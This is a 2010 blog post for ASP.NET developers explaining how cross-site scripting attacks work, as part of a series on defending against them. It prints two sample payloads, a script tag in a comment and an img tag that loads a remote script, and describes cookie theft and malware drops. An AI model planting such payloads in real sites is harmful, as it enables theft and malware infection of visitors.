Monday, February 1, 2010

XSS Part 2 - How the attack works

In this second of four parts about XSS, you will learn how the attack works against your ASP.NET applications. If you are unsure what XSS is, go back and read the first post on it.

So now you know what it is, but you wonder how it works against you. The attack works against any opening where you could get data from a user or from a database and that data ends up being script that executes in your user's browser.

In its simplest form, it is a script tag that executes some inline script directly. Imagine someone typing this sort of script into a blog post comment (on a site that does not stop XSS):

Great post! <script type="text/javascript">alert('Your virus defs are out of date. Please go to badsite.com for an update');</script>

The post "Great post!" would show as you expect, but then there is a script that will run too, showing an alert box and telling you to go to a bad site. What if the javascript just took you there in a new window without an alert box? What if they did it in a hidden iframe right in that post? It would just run and take you there automatically!

Anything people can do using javascript can be used against you -- take your cookies and send them to a site in Russia (man, I hope you aren't doing online banking at that moment!)...go to a site to download malware onto your machine...give you a popup saying virus defs are out of date so they can install malware on you...

Besides script tags, can you think of other tags they could use? Yes, I mentioned iframes. What else? What about img tags? Huh? Did you know you can put a link to a 3rd party script in the src attribute and it will execute?

<img src=http://ha.ckers.org/xss.js />

What I want you to know is that XSS is often not about hitting you right now, or defacing your site right now. Sure, that is possible and does happen. But the big thing is that XSS is used to set you up for either further (and bigger) attacks, or to use you to be part of a bigger more damaging attack on either your company or another company. Imagine XSS used to drop attack malware on 1000 computers...the XSS doesn't hurt you per se...but it drops off part of a bomb to be used against some big name site in a concerted attack. Your machine simply becomes one of the drones. XSS can also open the door to CSRF attacks, and other unfun stuff by letting the attacker drop links used in CSRF attacks onto your forum. We'll talk about CSRF in future posts.

Think you are safe because you sanitize all your webform input? Not so fast, pretty boy. What if your database admin put (or updated) a post in the database by hand, putting script in there? You can't possibly cover every way data gets touched, but you can handle all the output since it is funneled through the single point at the browser. Winform, webform, manual input, generated/calculated data...they all gotta go to the browser. Don't think any of it is safe and scrubbed.

jQuery is some cool stuff, is it not!? It can manipulate the DOM on the fly, swapping images, colors, text, etc. It's just javascript. What if that complimenting post tucked some jQuery in there and changed your banner ads to point to sites that dropped malware off on you? You wouldn't know, your customers wouldn't know...well until someone gets burned and complains to you and you say "What? We don't have banner ads that go to badsite.com!" and you have to shut down your site for a day to clean up the mess.

Your fault.

Stopping XSS is so easy in ASP.NET. You have to be detail oriented, but it isn't hard. I'll show you in the next post. In the meantime, check out http://ha.ckers.org/xss.html and get familiar with some of the other ways XSS can be done on your site. Try a few out on your webforms! Oh, but alert your Info Sec folks before you do that to make sure you don't get in trouble. We need you on the front lines!!

No comments:

Post a Comment